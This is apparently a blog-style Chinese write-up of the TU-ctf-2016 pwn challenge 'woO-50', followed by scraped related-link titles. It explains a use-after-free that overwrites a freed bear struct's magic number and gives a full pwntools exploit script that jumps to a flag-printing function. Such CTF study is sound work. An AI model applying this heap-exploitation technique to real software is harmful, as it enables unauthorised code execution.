CTF练习 TU-ctf-2016 pwn woO-50
来源:互联网 发布:迪凡软件 编辑:程序博客网 时间:2024/06/05 00:57
题目简介
大致是可以选择好几个动物,然后可以删除动物
题目分析
有了上一道题的经验,上来先afl
[0x004007f0]> afl0x004006d8 3 26 sym._init0x00400710 2 16 -> 32 sym.imp.free0x00400720 2 16 -> 48 sym.imp.puts0x00400730 2 16 -> 48 sym.imp.fclose0x00400740 2 16 -> 48 sym.imp.__stack_chk_fail0x00400750 2 16 -> 48 sym.imp.printf0x00400760 2 16 -> 48 sym.imp.__libc_start_main0x00400770 2 16 -> 48 sym.imp.fgets0x00400780 2 16 -> 48 sym.imp.getchar0x00400790 2 16 -> 48 loc.imp.__gmon_start__0x004007a0 2 16 -> 48 sym.imp.malloc0x004007b0 2 16 -> 48 sym.imp.fflush0x004007c0 2 16 -> 48 sym.imp.fopen0x004007d0 2 16 -> 48 sym.imp.__isoc99_scanf0x004007e0 2 16 -> 48 sym.imp.exit0x004007f0 1 41 entry00x00400820 4 41 sym.deregister_tm_clones0x00400850 4 57 sym.register_tm_clones0x00400890 3 28 sym.__do_global_dtors_aux0x004008b0 4 45 -> 42 sym.frame_dummy0x004008dd 3 124 sym.l33tH4x0r0x00400959 4 136 sym.pickLionType0x004009e1 1 129 sym.makeLion0x00400a62 4 155 sym.pickTigerType0x00400afd 1 129 sym.makeTiger0x00400b7e 4 135 sym.pickBearType0x00400c05 1 157 sym.makeBear0x00400ca2 3 67 sym.pwnMe0x00400ce5 4 108 sym.deleteAnimal0x00400d51 17 206 sym.makeStuff0x00400e1f 1 81 sym.printMenu0x00400e70 1 51 sym.printWelcome0x00400ea3 4 93 sym.main0x00400f00 4 101 sym.__libc_csu_init0x00400f70 1 2 sym.__libc_csu_fini0x00400f74 1 9 sym._fini
同样的有l33t那个函数可以直接帮忙拿到flag,所以只需要想办法运行这个函数即可,不需要getshell。
然后剩下的就是分析了,我就不贴代码了,这个程序主要内容:
三个全局变量,一个指针数组存已经存放的动物的结构体的地址(位于堆),两个数存下标,一个是bearOffset,表示最后一个申请的熊的下标,一个next存下一个可用位置的下标。
每次新建动物,如果不是熊,则在next处存放malloc的地址,然后放进相应信息,如果是熊,还会更新bearOffset
结构体内,如果是熊(其他的对于这道题来说不重要),0-0x8存放0xdeadbeef,0x8到0x14存放名字(直接存放,不是指针),0x14到0x18存放type。
有一个pwnMe函数,在选择选项的时候输入4919可以调用,会取出熊的magicnumber(正常情况0xdeadbeef),然后跳转到这个地址执行
动物数量太多(应该是超过4个),会无法新建
有了这些知识,那么剩下的就是利用思路了,还是比较好办的,毕竟50分的题,我的想法是需要更改熊的magicnumber,但是如果新建熊肯定会更改bearOffset,那么就是UAF,先释放,然后新建别的动物,使用同一个空间,然后溢出到下一个块,更改掉magicnumber,最终写出exp。
exp
#!/usr/bin/python2# coding:utf-8from pwn import *#pwntools咋只有py2啊?!def make_bear(s, name='hello'): log.info('making a bear with name ' + name) s.recv() s.sendline('3') s.recv() s.sendline('3') s.recv() s.sendline(name)def make_tiger(s, name='hello'): log.info('making a tiger with name ' + name) s.recv() s.sendline('2') s.recv() s.sendline('3') s.recv() s.sendline(name)def delete_animal(s, num): log.info('delete animal ' + num) s.recv() s.sendline('4') s.recv() s.sendline(num)def send_pwn(s): log.info('sending to pwn') s.recv() s.sendline('4919')def pwn(): s = process("./3eee781e62327ae39b06fec160467d6dfabe7b1a") make_bear(s) make_bear(s) make_bear(s) delete_animal(s, '1') make_tiger(s, 'a' * 32 + '\xdd\x08\x40\x00') send_pwn(s) log.info("flag is :" + s.recv()) s.interactive()if __name__ == "__main__": pwn()
0 0
- CTF练习 TU-ctf-2016 pwn woO-50
- TU-ctf-2016 pwn woO 分析记录
- CTF练习-TU-CTF-2016 pwn BBYS-first-elf-25 记录
- CTF-PWN练习之执行Shellcode
- volga-ctf-quals-2016 pwn web_of_scicen_250 writeup
- 0ctf-2016 pwn-warmup writeup
- CTF PWN 远程payload
- ctf pwn 个人经验记录
- CTF
- ctf
- ctf
- ctf
- CTF
- 强网杯ctf pwn&re writeup (部分)
- 一道ctf pwn 的思路以及解法
- 一道ctf pwn 的思路以及解法
- CTF-浅尝64位栈溢出PWN
- CTF-PWN之fsp-utilize漏洞利用
- jsp中得到ContextPath的两种方法
- iOS给控件的指定位置设置圆角
- Linux-tree指令
- 【C++笔记】 strcpy函数的实现
- Redis主从复制配置
- CTF练习 TU-ctf-2016 pwn woO-50
- def
- idea-生成key的Java代码
- Java Runtime.exec()的使用
- opencv常用函数-计算
- python学习笔记(四)
- 设置APP界面沉浸手机状态栏,类似ios特性
- 并发,one
- linux命令大全——系统管理(一)